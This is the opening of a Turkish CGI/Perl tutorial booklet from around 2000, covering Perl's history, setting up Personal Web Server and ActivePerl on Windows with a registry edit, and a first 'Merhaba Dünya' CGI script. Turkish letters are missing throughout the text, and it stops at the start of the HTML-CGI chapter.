You are on page 1of 113

Notlar:

Giri blmnn sonunda, HTML-CGI likisi balkl ikinci blmn nnde, Bir iki
not balkl blmn ilk paragrafnda, bu kitapn rnek kodlarn ieren cgiperl.zip
adl dosyann PCW Sitesinde durduu yerin adresi noktalarla bo braklm bulunuyor.
Arzu edilirse bu bilgi kapak iinde de tekrar edilebilir.
Tashih yap(a)madm! VE herzamankinden daha ok daktilo hatas yaptm zlerek
gryor ve elimde olmayan (veya sadece elimden kaynaklanan!) bu durum iin son
derece zgn olduumu belirtmek istiyorum.
Altn izmeyi unuttuum ngilizce kelimelerin bold veya italik yaplmas size emanet!
Ve bunun iin ayrca kranlar.
Bu kitapkla birlikte CD Magazinede veya sitede Windows ve MacOS iin Perl
programlar verilebilir. WinPerl32yi http://www.activestate.com ; MacPerl ise
www.iis.ee.ethz.ch/~neeri/machintosh/perl.html adreslerinde bulabilirsiniz. Linux?
Onda Perl built-in var!
Hakk cal (26 Ocak 2000)

C CG GI I / / P PE ER RL L
Giri ................................................................................5
Kiisel Web Server Kuralm ............................................................. 8
PWS Kurulurken Hata Verirse .......................................................... 9
Windows in Perl ........................................................................ 10
ActivePerl kurarken ................................................................... 11
Daha fazla bilgi iin ...................................................................... 14
Bir iki not .................................................................................... 15
HTML-CGI likisi ............................................................ 16
evre Deikenleri ....................................................................... 18
Shebang nereye gitti! ................................................................ 20
Yntem Fark: GET ve POST .......................................................... 21
CGI / Perl 1
Bilgi Yuma ................................................................................ 22
Yuma aalm ............................................................................. 26
ki nemli HTML etiketi ................................................................. 28
<BASE> Et i ket i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
<META> Et i ket i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
stemcinin stekleri - Sunucunun Sunduklar ................................... 29
HTTP Stat Kodlar: ..................................................................... 31
kt Trleri ve Yer ....................................................................... 33
Belli bal MIME tr/alt-tr gruplar ................................................ 34
URI trleri ................................................................................... 36
Dier Balklar ............................................................................. 38
Sonu ......................................................................................... 39
Perln Yap Talar ......................................................... 40
Perlde Veri ................................................................................. 40
Sabit Deerler, Deikenler .......................................................... 41
Tekil Deikenler, Listeler, Ekleme, kartma .................................. 43
Dizileri saydrmak ........................................................................ 45
Splice ve Split ............................................................................. 47
Kolay liste! .................................................................................. 48
zel Karakterlerin Escape Durumu ............................................... 50
Hash! veya likili Diziler ............................................................... 51
Mantksal Snama: if..Then Deyimi ................................................. 58
Karlatrma Operatrleri ............................................................. 59
Oku bakiim! ................................................................................ 61
Dngler .................................................................................... 63
Tek Trnak.. ift Trnak.. ............................................................... 66
Metinleri birbirine Nokta ile ekleyebiliriz ......................................... 68
CGI / Perl 2
Metin, Say ve Dosya lemleri ......................................... 71
Uzuuuuun metin .......................................................................... 73
Metin Biimlendirme ..................................................................... 73
Lower ve Upper Kasalar ................................................................ 75
Biraz da Matematik ...................................................................... 76
++nin garip oyunu ...................................................................... 78
Perlde Dosya lemleri ................................................................. 79
Biraz Unix Bilgisi .......................................................................... 80
Dosyay Aalm! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Path! .......................................................................................... 82
Tutamak ad neden byk harf! ..................................................... 83
Dosya Aamayan Perl lsn M? ................................................... 84
Her sistemin kendi diline gre ....................................................... 85
Atnz Kapatn! ........................................................................ 86
Dosyay Okuyalm ........................................................................ 87
Dosyaya Yazdralm ...................................................................... 90
Perlde String Biimlendirme ......................................................... 92
Yazdrm olsa idik! ...................................................................... 94
Dosyaya Ek Yapalm ..................................................................... 95
Gerek Form.. Gerek Perl ............................................................ 95
Bul - Deitir . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
For m dan gel en bi l gi l er de ar ama- bul ma- deitirme . . . 100
CGIda Yaam .............................................................. 108
CGI, Web Servera Bamldr ...................................................... 108
UNIX Dosya izinleri .................................................................... 109
Server Gvenlii ........................................................................ 110
Serverda program altrmak .................................................... 112
CGI / Perl 3
Server ile FTP likisi .................................................................. 113

CGI / Perl 4
Giri
HTML ile uramaya baladnz ve hemen bu dilin yetersizliklerini kefettiniz. Bu
eksikleri Javascript ile gidermeye altnz. Fakat hal eksik bir eyler var. Sayfalarnza
Form koyuyorsunuz, fakat mailto: kprsnden baka bir ACTION koyamyorsunuz. Veya
koyuyorsunuz da hep bakalarnn yazd programlara, Scriptlere kpr veriyorsunuz.
ou zaman bu kprler de ilemiyor.
CGI dnyasna hogeldiniz!
Eer u andaki planlarnzn arasnda yeni bir dil renmek yoksa, korkarm
planlarnz deitireceksiniz. Bir dil renmeye oktandr niyetli idiniz, fakat bir trl dili
belirleyemiyor idi iseniz, tebrikler, Perl reniyorsunuz!
Hemen gznz korkmasn! Muhasebe veya kelime-ilemci bir program yazacak
ekilde Perl renmeye kalkmayacaz. Zaten bu kadarck bir kitapkla, Perl gibi bir dil
renilemez. Sadece CGIa yetecek kadar Perl reneceiz. Bu, Web sitenize evsahiplii
yapan Web Servera Filanca formdaki bilgileri al; u dosyaya ekle; sonra formu dolduran
kiiyle elektronik mektup yollayarak teekkr et vebana da durumu bildir! demeye yetecek
kadar Perl demektir.
Perl, Internet bu kadar yaygn deilken, yani tarihin karanlk alarnda (ill bilmek
istiyorsanz, 1986 ylnda!), Larry Wall adnda Unix iletim sistemi ile alan bir bilgisayar
ann yneticisi tarafndan, hergn yapt ileri kolaylatracak bir makro dili olarak
gelitirilmi. Larry, sorumlu olduu sistemin kullanm ve durumu ile ilgili yzlerce raporu
yazdrmak iin komut istemci satrndan ayn komutlar tek-tek girmekten bkm. Kendi
kendine u sisteme btn bu komutlar hergn tek tek vermektense bir dosya olarak
versem; ne kadar kolay olur! demi. Fakat o tarihte Larrynin Unixinde ve dier Unix
trevlerinde bir ok programlama dili mevcut olduu halde, pratik, bir yn raporu alp
iinden gerekli bilgileri eken ve bunu rapor haline getiren bir dil yoktu. Larry, aresiz
kalan btn bilgisayarclar gibi, oturdu, kendi programlama dilini kendisi yazd! Ortaya
kan dile, Practical Extraction and Report Language (Pratik ekme ve Rapor [etme] Dili)
ad verildi. Tek ilevi vard: Unix operatrnn eitli kayt (log) dosyalarndan ihtiyac olan
bilgileri ekip, bir rapor biimine sokarak, ya yeni dosyaya kaydetmek, ya ekranda
grntlemek ya da yazcda yazdrmakt.
CGI / Perl 5
Fakat ilk srmn paylaanlar Perl (ki ilk srmnde ad bile yoktu!) o kadar
sevdiler ki, 1988 Usenet Konferansna katlanlarn kap kap paylat tek ey Perl
disketleri oldu. Perln hreti Unix ile snrl kalmad; Microsoft firmas NT, IBM ise OS/2
iin srmlerinin hazrlanmasna yardmc oldular. Netscape, Apache ve Microsoft Web
Server programlarna Internet Client (istemci) programlar (Internet sitelerini ziyaret eden
kiinin Browser) tarafndan gnderilecek bilgilerin ilenmesi gibi Web Servera bir dizi
komut vermek vermek gerektiinde kullanlacak Script (betik) dili aradklarnda tereddtsz
Perle de yer verdiler. Perl bu amala kullanlabilecek diller arasnda gerek kullanm
kolayl, gerekse Unix uzmanlar tarafndan zaten yaygn olarak kullanlmas sebebiple n
sraya geti. imdi 5nci srmne ulam bulunan Perl ile ilgili temel bilgiyi 200 ksur
sayfalk perl manpage dosyasnda bulabilirsiniz. Bu dosyay indirebileceiniz yerlerin
banda http://www.perl.com/perl/info/documentation.html#online adresi gelir. Ayrca
Usenette Perln geliimi konusundaki u Haber Gruplarna bakabilirsiniz:
news://comp.lang.perl.announce
news://comp.infosystems.www.authoring.cgi
Perln bu denli tutulmas ve Internette istemci ve sunucu sistemler (Browser ve
Web Server) arasnda arac olarak kullanlmas bir ka sebebe balanabilir. Bunlarn
banda Perln bir Script dili olmas gelir: yani Perl ile yazdnz program, bir dz yaz
dosyasdr ve alabilmesi iin bir yorumlaycya ihtiya vardr. Derlenmemitir; yani ortada
bir .exe veya .com dosyas bulunmaz.
imdi biraz da CGI zerinde duralm. Yukarda CGIn, Internet istemcisi ile
sunucusunun bulutuu nokta olduunu belirttik. Bu noktaya Common Gateway Interface
(Ortak Geit Arayz) denir, nk Web Server program, istemci programdan (browser)
kendisini altran bilgisayara gnderilen komutlar iin bir geit noktasdr. Sizin Web
tasarmcs olarak szgelimi bir Formdaki bilgilerin alnp, bir dosyaya kaydedilmesi iin
vereceiniz komutu, sitenizin bulunduu bilgisayarn iletim sistemi icra edecektir.
Formunuzdaki bilgilerin alnp, sz gelimi size elektronik mesaj olarak gnderilmesini
istiyorsanz, gerekte sitenizin evsahibi olan bilgisayara, E-mail programnn mektup
gnderme blmn altr da, u mektubu gnder bakalm! demi oluyorsunuz. Bu
komut icra taleplerinin, Internetten (browserdan) alnp evsahibi bilgisayarn iletim
sistemine aktarlmas iin bir ortak geit ve bu geitte sizin bu komut taleplerinizi
karlayp, iletim sistemine aktaracak bir ara-birim gerekir. Bu arabirim, CGIdr.
CGI / Perl 6
CGI program dediimiz ey ise Perlle yazlabilir; C, Delphi, Visual Basic ile
yazlabilir; yeter ki Web Server bu program altrabilsin; programn verecei komutlar
alp, kendisinin de zerinde bulunduu iletim sistemine iletebilsin.
<cgi-perl001.tif>
Bu ilikileri daha iyi anlayabilmek iin biraz daha yakndan bakalm. Internette
istemciler ve sunucular vardr. stemci (client), bir Internet Browser programdr; bu
program kullanc olarak bizim arzu ettiimiz Internet adresini bulmak ve bu adresteki
HTML belgesini Browser penceresinde grntlemekle grevlidir. Internet dediilmiz
kablolar, uydular, Routerlar kmesinin nasl altnz bildiinizi varsayyorum. Bu
konuda birok yerde, rnein Byte Dergisinin Kasm 1998 saysyla birlikte verilen Bir Web
Sitesi Kuralm adl kitapkta, gerekli bilgiyi bulabilirsiniz. Internetin dier ucunda bulunan
sunucu da tpk bizim Browser programmz gibi bir programdr; bir bilgisayarda alr ve o
bilgisayarda da tpk bizim istemci bilgisayarmz gibi bir iletim sistemi bulunur. Bizim
istemci olarak gnderdiimiz talep, sunucuya ulatnda neler olur? nce Web Server
program, talebi inceler, taleple birlikte kendisine gelen bir ok bilgiyi kaydedecei bir
ortam (Enivronment) oluturur. Sonra talep edilen HTML dosyasn kendi bilgisayarnda
bulur ve istemciye gnderir.
stemci olarak her zaman dz bir HTML dosyas talep etmeyiz. Kimi zaman
szgelimi bir formda Gnder dmesini tklarz. HTML bilginizi yoklayn; genellikle bir
Gnder dmesi, ait olduu Form etiketinin ACTION blmnde yazl komutu harekete
geirir. Byle bir istem halinde neler olur? Bizim amzdan farkl hi bir ey olmaz: bizim
Browser programmz tpk dz bir HTML talep ettii gibi, Formun bilgisini derler-toplar
paketler Sunucuya gnderir. Gnderilen ey yine Internet denen ortamdan geer ve
sunucuya ular. Fakat bu kez sunucuda farkl ilemler olur:
<cgi-perl002.tif>
Sunucu, kendisine gelenleri inceler ve ikiye ayrr: Veriler ve komutlar. Veriler, bizim
iin o anda oluturulan ortamda kaydedilir; komutlar ise altrlmak zere iletim
sistemine aktarlr. Web Server programnn alt iletim sistemi, kendisine Web Server
tarafndan iletilen u komutu icra et bakalm! talebini inceler; ve gereini yerine getirir.
(Bu komut, C: srcsndeki btn bilgileri sil! bile olsa! Buna aada dneceiz.)
Bu anlamda CGI, istemcinin Web Servera ve onun iletim sistemine i yaptrtt
noktadr. CGI program, bu ileri belirten programdr. Perl, bu programlar yazdmz ve
ardmz program yazmakta kullandmz bir dildir.
CGI / Perl 7
Perl ile ok i yaplabilir. Fakat bu kitapkta biz Perln sadece CGI ilgilendirdii
kadaryla ilgileneceiz. Baka bir deyile bu kitapk bir Perl kitap deil, bir CGI
kitapdr. lgimiz dil olarak Perlden ok Perln CGIda nasl kullanlacana ynelik
olacaktr. Dolaysyla, nce uzun uzun CGI tanyacaz. Bunun iin Web Servern ne
olduuna ve nasl altna bakacaz. Ve tabi bu amala bir ok Perl program yazacaz.
Perl ile veya hangi dille yazlrsa yazlsn, CGI program kendi bana i yapmaz, Web
Servera o iin yaplmasn bildirir. Baka bir deyile Perl ile yazacamz CGI program
aslnda sadece Web Server programlamaya yarar. Kelime-ilem programnz iin makro
yazarken nasl bu programn neler yapabileceini bilmek zorunda iseniz, CGI program
yazabilmek iin de Web Server programn tanmanz, imkan ve yeteneklerini, iletim
sistemi ile nasl etkiletiini bilmeniz, dolaysyla bir lde de olsa iletim sistemi tanmanz
gerekir. Bu kitapkta bu bilgiler yer alyor.
Kiisel Web Server Kuralm
imdi asl mevzuya girmeden ksa bir hazrlk yapmamz gerekir. Diyelim ki bir CGI
program yazdk. Bu program Web Servera gnderip, uygulamaya koymadan nce, kendi
bilgisayarmzda denememiz gerekmez mi? Fakat dedik ki, CGI programlar Server iin
yazlr ve Serverda alr. Bugne kadar istemci olmaktan baka bir ilevi olmayan kendi
bilgisayarmzda bu ii yapabilir miyiz? Evet yaparz; yapmak zorundayz. Bir CGI
programn gerek Web Serverda, gerek Internette denemeye kalkmak, hem ok tehlikeli
olabilir, hem de ok masrafl. nce kendi istemci bilgisayarmz, kk bir sunucu haline
getirelim ve CGI programlarmz kendi bilgisayarmzda deneyelim.
Perl, Unix dilidir; dolaysyla herhangi bir Unix-trevi iletim sisteminde (rnein
Linuxta) hi bir ey yapmaya gerek olmadan alr. NT iletim sistemiyle alan Web
Server programlar da Perl ile yazlm CGI programlarn altrabilirler. cretsiz site yeri
veren Web Evsahibi firmalar (Hosting irketleri) genellikle Unix-tabanl sistemlere sahiptir.
Fakat sizin evsahibiniz NT-tabanl bir Web Servera sahipse, byk bir ihtimalle sistemini
Perl tanyacak ve altrabilecek ekleri yapmtr.
Yazacamz CGI programlarn snayacanz kiisel bilgisayarnz Linux ile
alyorsa, muhtemelen bir Web Server program ya kurulmutur; ya da elinizdeki Linux
datm CD-ROMunda bunu yapmanz salayacak dosyalar vardr. Linux ile alan
bilgisayarnza Web Server programn kurduunuz zaman bu program Perl anlar,
yorumlar ve uygular; zel bir nlem almanz gerekmez.
CGI / Perl 8
Kiisel bilgisayarnz Windows 95, 98, NT4 WorkStation veya NT4 Server ile
alyorsa, sisteminize bir Web Server programn siz kurmak zorundasnz. Windows 2000
Professional veya Windows 200 Server ise Kiisel Web Server programn kendiliinden
kurar. Ancak btn Windows sistemlerinde, kiisel Web Servern Perl ile yazlm CGI
programn anlar hale gelmesini salamak size der. imdi ksaca bir Windows sistemine
kiisel Web Server kurma ve bu Server Perl anlar hale getirme konusu zerinde duralm.
Windows 98e bir kiisel Web Server kurmaya gemeden nce bilgisayarmza bir
kimlik vermemiz gerekir: Bilgisayarm/Denetim Masas/A tklayarak aacanz diyalo
kutusunda ikinci sekme olan Tanmlamay an ve Bilgisayar ad kutusuna istediiniz ad
yazn. Bilgisayarn a ortamnda olmas gerekmez. Sonra Win98 CD-ROMunda Add-ons
klasrndeki PWS dizininde Kur.exeyi tklayn. Ayn ilemi NT iin Option Pack CD-ROMunu
kullanarak da yapabilirsiniz. Option Pack CD-ROMundaki Default.htmi aarsanz,
bilgisayarnzn Windows 98 ile altn alglayacak olan program size Personal (kiisel)
Web Server (PWS) kurmay nerecektir. NT4 Workstation veya NT4 Sevrer sistemlerine
kiisel Web Server olarak Internet Information Server (IIS) kurulmaldr. NT Option Pack
CD-ROMunundaki Default.htmi aarsanz, program size IISii kurmay nerecektir. (NT4
sistemlerine IISi kurmadan nce, Service Pack 3 uygulayn; Internet Explorer 5i kurun.
Elinizde varsa Service Pack 4, 5 veya 6y en son uygulayn.)
//////////////////////KUTU//////////////////
PWS Kurulurken Hata Verirse
Windows 98e PWS kurarken, programn Microsoft Transaction Server blmne
ilikin sistem kaytlar yaplrken, iki hata mesaj ile karlaabilirsiniz (0x80004005 ve
0xfee662). Bu, orijinal Windows 98 CD-ROMundaki PWS Kur programnn, Windows
Registry dosyasnn byk olmas halinde hata vermesinden kaynaklanyor. Byle bir
durumla karlarsanz, Bilgisayarm/Denetim Masas/Program Ekle Kaldr araclyla,
Personel Web Server kaldrn. Bilgisayar kapanp aldktan sonra, Windows 98 CD-
ROMunda Add-ons/PWS dizinindeki btn dosyalar, sabit diskinizde Temp dizinine
kopyalayn. Sonra http://support.microsoft.com/support/kb/articles/q246/0/81.asp
adresinde Dowload Mstsetup.dll satrn tklayn. Mssetup.exe adl bir dosya bilgisayarnza
indirilince; bu dosyas iki kere tklayn ve dosyann geniletilecei yer olarak C:\Tempi
gsterin; program Mstsetup.dll dosyasnn deitirilmesini isteyip istemedinizi sorduu
zaman Tamam tklayn. imdi, C:\Tempdeki Kur.exe (Windows CD-ROMunuz ngilizce
ise Setup.exe) programn iki kere tklayn. PWS imdi hatasz kurulacaktr.
CGI / Perl 9
///////////////////KUTU BTT//////////////////////////////
Windows 987e Kiisel Web Server kurulduunda Masastnde Yaynla (Publish) adl
bir simge belirecektir. NT sistemlerinde ise Balat mensnde Programlar blmne IIS
Manager satr eklenir. Bu yollardan biriyle PWS veya IISi altrn; Kiisel Web Server
Ynetici penceresi alacaktr. Soldaki ara ubuunda Yneticinin eitli blmlerine
gitmeniz gerekli gezinme simgeleri var. imdi, alan ana pencerede iki unsura dikkat edin:
<cgi-perl003.tif>
1. Kiisel Web Servernzn ad. Bilgisayarnzn ad buraya Server ad olarak yazlm
olmal. Biraz sonra, Internete koymadan nce snayacamz CGI programlarn ieren
HTML sayfalarn arrken, Browsern adres kutusuna burada grdmz ad yazacaz.
2. Kiisel Web Servern bilgisayarmzda sabit diskteki gerek adresi. Bu, sizin
Kiisel Web Servernzn kk (root) dizinidir. Bu genellikle C:\inetpub\wwwroot klasrdr.
Kiisel Web sitesi yaparsanz, sitenin gerektirdii btn dizinleriniz ve dosyalarnz burada
grdnz dizinin iinde olmaldr. Yapacamz CGI dosyalarn ite bu dizinin iine
koyacaz.
Bunlar bir kenara not ettikten sonra, soldaki ara ubuunda Gelimi simgesini
tklayn; ortadaki pencerede sanal dizinlerinizi gryorsunuz. Bunlardan Homeu sein ve
sadaki zellikleri dzenle dmesini tklayn.
<cgi-perl004.tif>
Ana dizinin okuma, yrtme ve makro eriim haklarnn iaretli olmasna dikkat
edin. lerde kendinize Kiisel Web Servernzn kk dizininde yeni bir dizin oluturursanz
(rnein resimler gibi) ve iine sitenizle ilgili dosyalar koyarsanz, Gelimi penceresinde
Ekle dmesini tklayarak bu gerek dizini de sitenin sanal dizinlerinden biri haline
getirmeniz gerekir. Gerek dizinin ad XYZ bile olsa, sanal dizin haline getirirken istediiniz
sanal ad verebilirsiniz. Ama unutmayn, Browsern adres hanesine gerek dizin adn deil
sanal dizin adn yazmanz gerekir.
Bu ilemleri IISte deiik grntlerle, fakat temel ilkeler itibariyle ayn ekilde
yapabilirsiniz.
Windows in Perl
imdi sra geldi Windows ortamn Perlden anlar hale getirmeye! Bunun iin
Internetten ActivePerl indirmek veya ActiveState firmasndan CD-ROM smarlamak
CGI / Perl 10
zorundayz. Her iki ilem iin de http://www.activestate.com adresine gitmemiz gerekir.
ActiveState sitesinden ActivePerln son srmn indirin ve bilgisayarnza kurun.
Windows 95 kullanclar, sistemlerinde Perl programlarn altrabilmek iin sistemlerinin
DCOM bileenlerini gncelletirmek iin Microsoftun sitesinden baz dosyalar indirmek
zorundalar. Bu gncelletirme iin dosyalar
http://www.microsoft.com/com/resources/downloads.asp adresinde bulabilirsiniz.
(Distributed Component Object Model (DCOM), Windowsun ada gvenli ve etkin bir
tarzda yazlm bileeni datma teknolojisidir. Eski adyla "Network OLE," olan DCOM, HTTP
dahil, btn a datm ve ulatrma protokolleri ile uyumludur ve kendi bilgisayarmzda
Perl programlarn snamak iin bile olsa Windows asndan gereklidir.)
/////////////////KUTU/////////////
ActivePerl kurarken
ActiveStatein bu kitap yazarken 5.22 srmne ulam olan ActivePerl
programnn kuruluu srasnda baz hata mesajlar ile karlamak mmkndr. 102, 104,
105, 112 veya 301 sayl hata mesajlarn alrsanz, bilgisayarnz kapatp, an ve
ActivePerl kurmadan nce herhangi bir 16-bit program altrmayn. Sorunu bu yntemle
zemezseniz, http://support.installshield.com/kb adresinde Q100198 sayl yaardm
dosyasn indirerek, nerileri srasyla uygulayn.
ActivePerln kurulumununsonuna doru Cannot Craeta Perl Interpreter mesajn
alrsanz, muhtemelen daha nce kurulmu eski srm ActivePerl ile atma var demektir.
Bu durumda ya eski ActivePerl kaldrr ve klasrlerini silemeniz ya da yeni srm
ActivePerl yeni bir klasre kurmanz gerekir.
ActivePerl adnda boluk olan dizine kurmayn. ActivePerln ilemesi iin gerekli
baz programlar, adnda boluk olan dizinleri gremezler. ActivePerln Kur programnn
nerdii varsaylan dizini kabul etmek doru olur. Ayrca Kur programnn Autoexec.bat ve
config,sys dosyalarnda yapmay nerdii deiiklikleri yapmasna izin verin.
Kurma ve dier sorunlarla ilgili olarak ActiveStatein sitesindeki FAQ (Ska sorulan
Sorular) dosyalarna bavurabilirsiniz. zellikle
http://www.activestate.com/ActivePerl/docs/perl-win32/perlwin32faq4.html sayfasnda
Windows sistemleriyle ilgili geni bilgi bulabilirsiniz.
//////////////////KUTU BTT///////////////////
CGI / Perl 11
ActivePerl kurduktan sonra, kk bir ilemle, PWS veya IISi, uzatmas .pl olan
dosyalar grntlenmesi iin Perl.exe programn altrmak zere ayarlamanz gerekir. Bu
ayar, Windowsun kayt dosyasn (Regitry) dzenlemeyi gerektiriyor. Kayt dosyas,
Windows 95/98/NT/2000 sistemlerinin dzgn almas iin gereklidir; bu dosyada
yaplacak bir yanllk sistemin tmn almaz hale getirebilir. Aadaki ilemleri
yapmaya balamadan nce Registrynin yedeini almak ve bunu bir diskette saklamlak
gerekir. Buna ramen alrken ok dikkatli olmanz salk veririm.
imdi nce Perl.exenin yol bilgisini (Path) bir kenara yazn: rnein c\Perl\bin\perl
exe); ve PWSi durdurun. Sonra 95/98de Regedit.exe, NTde Regedt32.exe programn
altrn. Soldaki dizide alt ana-kayt blm greceksiniz. Bunlardan
HKEY_LOCAL_MACHINEnin nndeki art iaretini tklayn. Alacak listede SYSTEMi bulun
ve nndeki arty tklayn. Alacak listede CurrentControlSeti bulun; nndeki arty
tklayn. Alacak listede Services satrn bulun ve nndeki arty tklayn; yeni listede
W3SVC satrnn nndeki arty, sonra Parameter satrnn nndeki arty tklayn. imdi,
alacak lisdede ScriptMap satrn tklayn. Sada, Varsaylan...(deer atanmam) satrn
gryor musunuz? Gzel. imdi, Dzen mensn tklayn, alacak listede Yeni, alacak
alt-listede Dize Deeri maddesini sein. Sada, Varsaylan... satrnn altnda Yeni Deer
#1 adl bir satr oluacak ve bu kelimeler seilecektir. Klavyede .pl yazn (Nokta iareti, p
ve l harfleri). Sonra kKlavyede iki kere Entera basn; alacak Dize Dzenle kutusunda
Deer verisi hanesine kendi sisteminize uygun olan Perln sabit diskteki yol bilgisini
(Path) ile birlikte %s %s yazn. rnein:
c: \ Per l \ bi n\ per l . exe %s %s
Burada %s yazarken s harfinin kk harf olmasna dikkat edin; byk S
yazarsanz Perl almaz. Bu bilgiyi girdikten sonra Dize Deeri kutusunun Tamam
dmesini tklayn. Aynen u grnm elde etmi olmalsnz:
<cgi-perl005.tif>
Bu ilem srasnda Dize adn verirken hata yaparsanz, rnein .pl yerine pl veya
.pp yazarsanz, bu kelimeyi sa tklayn ve alan menden Yeniden Adlandr maddesini
sein. Dize deerini yazarken hata yaparsanz, yine .pli sa tklayn ve alan menden
Deitir maddesini sein. (Eer ActivePerln varsaylan deerlerini deitirmediyseniz, Perl
dizininin adnn byk harfle, bin dizininin ve programn adnn kk harfle baladna
dikkat edin. %s iki kere kere yazlyor ve ikisinde de s harfi kk!)
CGI / Perl 12
Regediti kapatn. Bilgisayar kapatp, an ve PWSi balatn. imdi PWSnz Perlce
bilir hale gelmi olmal!
Ayn ilemi NTde IIS iin yapacaksanz, IIS Managerda Default Web Server
durdurun. Regedt32.exeyi altrdnzda ve HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSet\Services\W3SVC\Parameter\ScriptMapi bulunca Edit
mensnden Add Value maddesini tklayn. Value Name olarak .pl yazn. Data Type olarak
Reg_SZi sein ve String Value olarak perl.exenin tam Path ile perl.exe %s %s yazn.
rnein:
c: \ Per l \ bi n\ per l . exe %s %s
Regedt32yi kapatn; IIS Managerdan Default Web Server altrn. imdi sizin NT
sisteminiz de Perl anlar hale gelmi olacak.
Ama her iki durumda sistemi snamak gerekir. Bunun iin Not Defterini ap, unlar
yazn:
print "HTTP/1.0 200 OK\n";
print "Content-Type: text/html\n\n";

print "<HTML>\n";
print "<HEAD>\n";
print "<TITLE>MERHABA DNYA</TITLE>\n";
print "<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-8859-9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1254\">\n";
print "</HEAD>\n";
print "<BODY>\n";
print "<H4>Merhaba Dnya</H4>\n";
print "<P>\n";
print "IP adresiniz: $ENV{REMOTE_ADDR}.\n";
print "<P>\n";
print "<H5>Baarlar dileriz!</H5>\n";
print "</BODY>\n";
print "</HTML>\n";

CGI / Perl 13
Bu dosyay merhaba.pl adyla, PWSn kk (root) dizinine kaydedin. Browsernz
an ve adres hanesine kiisel Web Servernzn adresi ile birlikte dosyann adn yazn.
rnein: http://server/merhaba.pl
<cgi-perl006.tif>
Tebrikler! Bir tala ka ku birden vurdunuz. Ve en nemlisi, ilk CGI programnza
Merhaba Dnya! yazdrarak, bir gelenei korumu oldunuz. lk Perl programmz yazm
olduk; geri u anda yazdklarmzn ne ie yaradn pek bilmiyoruz, ama yukarda
belirttiiimiz gibi bu programla Servera bir i yaptryoruz. Bu i, ana hatlaryla, bir HTML
sayfas oluturmak ve bunu talep eden istemciye gndermesini salamaktan ibadet.
Kodumuza dikkatle bakarsanz bu iin blmlerini grebilirsiniz; ama imdilik bu ayrntlarn
zerinde durmayalm.
Burada nemli olan, Windows sistemimizi Unixe ait bir dili anlar hale getirmi ve
bunu kurduumuz kiisel Web Servermza tantm olmamz.
imdi kollar svayp, CGI iin Perl renmeye balayabiliriz. Ama isterseniz bu
ilemi bir kere de .cgi uzatmas iin yapabilirsiniz. Perl program dosyalarn .cgi
uzatmasyla kaydetmek yaygn bir uygulamadr; byle bir rnekle karlatnz ve
uyguladnz zaman kiisel Web Servernzn hata vermesini nlemi olursunuz.
Daha fazla bilgi iin
Bu kitapktaki Perl, metin ve HTML rneklerini, PCWorld-Trkiye dergisinin Web
Sitesinden, ......................................./cgiperl.zip dosyasn indirerek edinebilirsiniz. Bu
dosyay indirseniz bile, aada vereceimiz Perl rneklerini kendiniz yazmalsnz; Perl
bilmenin bir art fonksiyonlar tanmaksa, dier art Perln yazm kurallarn iyice
renmektir.
CGI program olarak herhangi bir dille yazdnz uygun bir altrlabilir dosya
(dosya ad uzatmas .exe veya .com olan bir Executable) kullanabilirsiniz. Fakat bu
kitapkta, aksini belirtmediim taktirde CGI program dediim zaman bir Perl dosyasn
kastediyorum.
Bu kitapkta yeri geldike HTML konusunda da bilgiler bulacaksnz; bununla birlikte
HTMLi bir dil olarak bildiinizi varsayyoruz. Bu konuda eksiiniz varsa, Byte Dergisinin
Ekim 1998de verdii Internet Tasarm Rehberi kitapna veya Internette bulabileceiniz
bir ok on-line HTML kurs malzemesine (rnein http://www.webteknikleri.com)
bavurabilirsiniz.
CGI / Perl 14
Bir iki not
Bu kitapkta | (Pipe, Balama) iaretini veya anlamna anlamna kullanyorum.
rnein METHOD=[POST | GET] ifadesi, METHOT= kelimesinin karsna, trnak
iareti iinde, ya POST ya da GET yazmanz gerektiini belirtiyor.
Trke konusunda: Dosya adlarnda, HTMLin TITLE etiketinde ve INPUT etiketinin
NAME zelliinde, Perl programlarnda deiken adlarnda, Trke, Franszca, Flemenke,
Vietnamca, yani iinde iinde non-ASCII karakter bulunan kelime kullanmak hataldr. Bunu
sadece grnm asndan deil, fakat zellikle deiken adlarnn daha sonra
bulunamamas, hata vermesi gibi durumlar nlemek iin yapmamak gerekir. Windows ve
Unicode uyumlu iletim sistemlerinde veya kendisini Unicde uyumlu olmayp da sonradan
Trke sistem destei kazandrlm iletim sistemlerinde sorun olmayabilir; fakat cGI
programlarnzn nerede, hangi Serverda ve hangi iletim sisteminde alacan
bilemezsiniz. Buna karlk metin alanlarnda Trke kullanmak, Browser Trke-ifreleme
konusunda ynlendiren komutlar unutmamak artyla daima mmkndr. Bu ilkeye uygun
olarak bu kitapkta sistemle ilgili yerlerde Trke kelimelerde Trke karakter
kullanmaktan kandm. Bir ok konuda sk sk imdadma yetien Ahmet Usta ve Osman
Hmek, bir ok bilimsel notasyonun Trkesi konusundaki yardmlarn Perl konusunda da
esirgemediler. Kendilene teekkr borluyum.
Bu kitap yazarken, hemen hemen sonuna geldiim srada, Seluk niversitesi
Teknik Eitim Fakltesi Bilgisayar Sistemleri retmenlii blmnde retim grevlisi
Sayn Adem Gnein Perl ve Perl ile CGI Programlama ders notlarnn farkna vardm. Bu
notlar http://alaeddin.cc.selcuk.edu.tr/~adem/ adresinde bulabilirsiniz. Bu kitapn ileri
bir aamasna gelmemi olsaydm, Sn. Gnein ders notlarn grdkten sonra bouna
zahmet etmezdim!
Baz Trke kaynak tarama abam kolaylatran gen kuak saysal tasarmc ve
Web Ynetmeni arkadalarm K. Emre Gray ve Argt Usu'a katklar iin teekkr ederim.
Bu kitap, Erhan Mataracya ve liselerinin Web sitesini kuran, yneten ve Perl
programn yazmak iin kollar svayan dier kardelerime armaan ediyorum. Ama
snflarn gemeleri artyla!

CGI / Perl 15
HTML-CGI likisi
CGIa ilk admmz HTMLin FORM etiketine ilikin bilgilerimizi atmak ok lyerinde
olur. nk Internette istemci ile sunucunun bilinli ekilde etkiletikleri nokta CGI ise,
ikisini bu noktada buluturan geler, HTMLin Form ve Anchor (<A>) etiketleridir. Form
